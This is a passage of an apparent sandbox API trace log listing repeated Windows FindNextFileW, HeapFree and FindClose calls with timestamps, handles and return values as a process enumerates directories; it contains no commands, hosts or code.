lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0205.829] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43a1458 | out: hHeap=0x790000) returned 1 [0205.829] FindNextFileW (in: hFindFile=0x7eb768, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0205.829] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43a1458 | out: hHeap=0x790000) returned 1 [0205.829] FindNextFileW (in: hFindFile=0x7eb768, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0205.880] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43a1458 | out: hHeap=0x790000) returned 1 [0205.880] FindNextFileW (in: hFindFile=0x7eb768, lpFindFileData=0x2edf308 | out: lpFindFileData=0x2edf308) returned 1 [0206.087] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0206.088] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0206.403] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0206.403] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0206.450] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0206.450] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0206.516] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0206.516] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0206.787] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0206.787] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.020] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.020] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.051] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.051] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.060] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.060] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.110] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.110] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.139] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.139] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.302] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.302] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.379] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.379] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.454] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.454] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.473] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.473] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.608] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.608] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.657] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.657] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.659] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.659] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.671] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.671] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.700] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.700] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.765] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.765] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.805] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.805] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.858] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.858] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.905] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.905] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0207.928] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e1400 | out: hHeap=0x790000) returned 1 [0207.928] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.041] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.041] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.071] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.071] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.093] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.093] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.098] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.098] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.222] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.222] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.271] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.271] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.279] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.279] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.451] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.451] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.457] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.457] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.459] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.459] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.491] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.491] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.542] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.542] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.648] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.648] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.887] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.887] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.938] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.938] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.962] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.962] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0208.964] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0208.964] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0209.019] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0209.019] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0209.077] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0209.077] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 1 [0209.160] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0209.160] FindNextFileW (in: hFindFile=0x7ebca8, lpFindFileData=0x2edeb94 | out: lpFindFileData=0x2edeb94) returned 0 [0209.160] FindClose (in: hFindFile=0x7ebca8 | out: hFindFile=0x7ebca8) returned 1 [0209.160] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4431480 | out: hHeap=0x790000) returned 1 [0209.161] FindNextFileW (in: hFindFile=0x7eb7e8, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 0 [0209.161] FindClose (in: hFindFile=0x7eb7e8 | out: hFindFile=0x7eb7e8) returned 1 [0209.161] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4421478 | out: hHeap=0x790000) returned 1 [0209.161] FindNextFileW (in: hFindFile=0x7ebb28, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0209.276] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0209.276] FindNextFileW (in: hFindFile=0x7ebb28, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0209.398] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0209.398] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0209.447] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0209.447] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0209.481] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0209.481] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0209.537] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0209.537] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0209.635] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0209.635] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0209.722] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0209.722] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0209.826] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0209.826] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0209.916] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0209.916] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0210.470] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0210.470] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0212.056] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0212.057] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0213.272] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0213.273] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0217.323] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0217.323] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0217.553] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0217.554] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0217.869] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0217.869] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0218.306] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0218.306] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0218.412] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0218.412] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0218.468] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0218.468] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0218.576] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0218.576] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0218.802] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0218.802] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0218.853] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0218.853] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0218.855] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0218.855] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0218.995] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0218.995] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.039] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.039] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.044] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.045] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.072] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.072] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.151] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.151] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.273] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.273] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.539] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.539] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.633] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.633] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.722] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.722] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.779] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.779] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.856] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.856] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.860] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.860] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.863] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.863] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.875] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.875] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.882] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.882] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.886] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.886] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.886] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.886] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.894] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.894] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.895] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.895] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.899] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.899] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.901] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.901] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.903] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.903] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.907] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0219.907] FindNextFileW (in: hFindFile=0x7eb968, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 0 [0219.907] FindClose (in: hFindFile=0x7eb968 | out: hFindFile=0x7eb968) returned 1 [0219.907] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43b1460 | out: hHeap=0x790000) returned 1 [0219.910] FindNextFileW (in: hFindFile=0x7ebb28, lpFindFileData=0x2edf08c | out: lpFindFileData=0x2edf08c) returned 1 [0219.924] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0219.924] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.926] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0219.926] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.940] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0219.940] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.942] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0219.942] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.953] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0219.953] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.975] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0219.975] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.980] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0219.980] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.985] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0219.985] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.986] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0219.986] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.989] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0219.989] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0219.996] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0219.996] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.005] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.005] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.008] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.008] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.014] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.014] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.016] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.017] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.023] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.023] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.479] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: hHeap=0x790000) returned 1 [0220.479] FindNextFileW (in: hFindFile=0x7ebc28, lpFindFileData=0x2edee10 | out: lpFindFileData=0x2edee10) returned 1 [0220.482] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4311418 | out: 